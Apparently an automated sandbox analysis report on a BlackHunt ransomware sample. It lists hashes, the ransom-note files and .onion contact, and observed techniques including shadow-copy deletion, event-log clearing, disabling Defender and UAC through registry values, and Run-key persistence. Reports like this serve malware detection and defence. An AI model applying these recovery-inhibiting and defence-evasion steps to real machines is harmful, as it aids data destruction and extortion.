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Analysis
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max time kernel
121s -
max time network
130s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 23:47
Static task
static1
Behavioral task
behavioral1
Sample
758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
Resource
win10v2004-20231215-en
General
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Target
758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe
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Size
707KB
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MD5
24278263077c3a50db315d96accd34d1
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SHA1
653c69c98bcf6f2fff1ce2dfe2a2c80ecb3e6b15
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SHA256
758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94
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SHA512
ff06532598a2d984b99761feeae78fe2763411c0d8d952158291f2a094e934db68361729851a7f1225ea0b2e361e473de53e65930bac27a658fa2774d41782cc
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1W8fvnh:6uaTmkZJ+naie5OTamgEoKxLWl3h
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 4620 fsutil.exe 4660 fsutil.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 4648 wevtutil.exe 4660 wevtutil.exe 1980 wevtutil.exe 3660 wevtutil.exe 2320 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 2708 bcdedit.exe 2312 bcdedit.exe 3684 bcdedit.exe 4628 bcdedit.exe -
Renames multiple (2872) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 4280 wbadmin.exe 4632 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 2916 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\L: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\O: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\E: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\T: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\H: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\K: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\Z: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\W: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\U: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\V: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\Q: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\B: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\I: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\N: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\G: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\Y: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\S: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\J: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\X: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\R: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\A: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\M: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\P: 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Merida 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Bougainville 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#BlackHunt_Private.key 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\Google\#BlackHunt_ReadMe.hta 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_SelectionSubpicture.png 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\THIRDPARTYLICENSEREADME.txt 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-windows.xml 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\VideoLAN\VLC\locale\de\#BlackHunt_ReadMe.hta 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\VideoLAN\VLC\locale\eu\#BlackHunt_Private.key 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\VideoLAN\VLC\skins\#BlackHunt_Private.key 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\DVD Maker\it-IT\#BlackHunt_Private.key 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\specialoccasion.png 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\#BlackHunt_ReadMe.txt 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-awt.xml 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\#BlackHunt_ReadMe.txt 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Volgograd 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.natives_1.1.100.v20140523-0116.jar 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kuala_Lumpur 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Monaco 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-attach_ja.jar 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiler_zh_CN.jar 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\SaveGroup.temp 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\#BlackHunt_ReadMe.txt 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\7-Zip\Lang\et.txt 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Inuvik 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_ReadMe.txt 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\meta\art\03_lastfm.luac 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_basestyle.css 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_ReadMe.txt 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Belize 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Nome 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\Java\jre7\lib\zi\SystemV\#BlackHunt_ReadMe.hta 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_ReadMe.hta 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\VideoLAN\VLC\plugins\video_filter\#BlackHunt_ReadMe.hta 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\NavigationButtonSubpicture.png 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.repository_2.3.0.v20131211-1531.jar 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\#BlackHunt_ReadMe.hta 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_ReadMe.txt 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Taipei 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\gimap.jar 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Beirut 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-sampler.xml 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\#BlackHunt_Private.key 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationRight_SelectionSubpicture.png 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationRight_SelectionSubpicture.png 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Rangoon 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\VDK10.CMP 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Tongatapu 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-sampler_zh_CN.jar 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.webapp.nl_ja_4.4.0.v20140623020002.jar 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-charts_ja.jar 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\#BlackHunt_Private.key 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.di.extensions_0.12.0.v20140417-2033.jar 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Adelaide 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Bishkek 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.metadataprovider.exsd 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\Java\jre7\bin\plugin2\#BlackHunt_Private.key 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-queries.xml 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\Java\jre7\lib\deploy\#BlackHunt_Private.key 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File created C:\Program Files\DVD Maker\#BlackHunt_ReadMe.hta 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\7-Zip\Lang\sq.txt 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_select-highlight.png 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host-views_zh_CN.jar 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Madrid 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 908 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1500 vssadmin.exe 2872 vssadmin.exe 1248 vssadmin.exe 3144 vssadmin.exe 2124 vssadmin.exe 3800 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 2040 taskkill.exe -
Modifies registry class 10 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4512 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 4920 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe Token: SeRestorePrivilege 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe Token: SeBackupPrivilege 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe Token: SeTakeOwnershipPrivilege 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe Token: SeAuditPrivilege 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe Token: SeSecurityPrivilege 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe Token: SeIncBasePriorityPrivilege 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe Token: SeBackupPrivilege 4728 vssvc.exe Token: SeRestorePrivilege 4728 vssvc.exe Token: SeAuditPrivilege 4728 vssvc.exe Token: SeBackupPrivilege 4944 wbengine.exe Token: SeRestorePrivilege 4944 wbengine.exe Token: SeSecurityPrivilege 4944 wbengine.exe Token: SeSecurityPrivilege 1980 wevtutil.exe Token: SeBackupPrivilege 1980 wevtutil.exe Token: SeSecurityPrivilege 3660 wevtutil.exe Token: SeBackupPrivilege 3660 wevtutil.exe Token: SeSecurityPrivilege 2320 wevtutil.exe Token: SeBackupPrivilege 2320 wevtutil.exe Token: SeSecurityPrivilege 4660 wevtutil.exe Token: SeSecurityPrivilege 4648 wevtutil.exe Token: SeBackupPrivilege 4660 wevtutil.exe Token: SeBackupPrivilege 4648 wevtutil.exe Token: SeDebugPrivilege 2040 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2224 wrote to memory of 1540 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 29 PID 2224 wrote to memory of 1540 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 29 PID 2224 wrote to memory of 1540 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 29 PID 2224 wrote to memory of 1540 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 29 PID 2224 wrote to memory of 2364 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 31 PID 2224 wrote to memory of 2364 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 31 PID 2224 wrote to memory of 2364 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 31 PID 2224 wrote to memory of 2364 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 31 PID 2224 wrote to memory of 2732 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 33 PID 2224 wrote to memory of 2732 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 33 PID 2224 wrote to memory of 2732 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 33 PID 2224 wrote to memory of 2732 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 33 PID 1540 wrote to memory of 2692 1540 cmd.exe 34 PID 1540 wrote to memory of 2692 1540 cmd.exe 34 PID 1540 wrote to memory of 2692 1540 cmd.exe 34 PID 2224 wrote to memory of 2780 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 35 PID 2224 wrote to memory of 2780 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 35 PID 2224 wrote to memory of 2780 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 35 PID 2224 wrote to memory of 2780 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 35 PID 2224 wrote to memory of 2832 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 38 PID 2224 wrote to memory of 2832 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 38 PID 2224 wrote to memory of 2832 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 38 PID 2224 wrote to memory of 2832 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 38 PID 2224 wrote to memory of 3008 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 40 PID 2224 wrote to memory of 3008 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 40 PID 2224 wrote to memory of 3008 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 40 PID 2224 wrote to memory of 3008 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 40 PID 2364 wrote to memory of 2720 2364 cmd.exe 42 PID 2364 wrote to memory of 2720 2364 cmd.exe 42 PID 2364 wrote to memory of 2720 2364 cmd.exe 42 PID 2224 wrote to memory of 2844 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 43 PID 2224 wrote to memory of 2844 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 43 PID 2224 wrote to memory of 2844 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 43 PID 2224 wrote to memory of 2844 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 43 PID 2224 wrote to memory of 2168 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 44 PID 2224 wrote to memory of 2168 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 44 PID 2224 wrote to memory of 2168 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 44 PID 2224 wrote to memory of 2168 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 44 PID 2224 wrote to memory of 2748 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 46 PID 2224 wrote to memory of 2748 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 46 PID 2224 wrote to memory of 2748 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 46 PID 2224 wrote to memory of 2748 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 46 PID 2224 wrote to memory of 2724 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 49 PID 2224 wrote to memory of 2724 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 49 PID 2224 wrote to memory of 2724 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 49 PID 2224 wrote to memory of 2724 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 49 PID 2224 wrote to memory of 2828 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 50 PID 2224 wrote to memory of 2828 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 50 PID 2224 wrote to memory of 2828 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 50 PID 2224 wrote to memory of 2828 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 50 PID 2224 wrote to memory of 2640 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 52 PID 2224 wrote to memory of 2640 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 52 PID 2224 wrote to memory of 2640 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 52 PID 2224 wrote to memory of 2640 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 52 PID 3008 wrote to memory of 2188 3008 cmd.exe 53 PID 3008 wrote to memory of 2188 3008 cmd.exe 53 PID 3008 wrote to memory of 2188 3008 cmd.exe 53 PID 2224 wrote to memory of 2600 2224 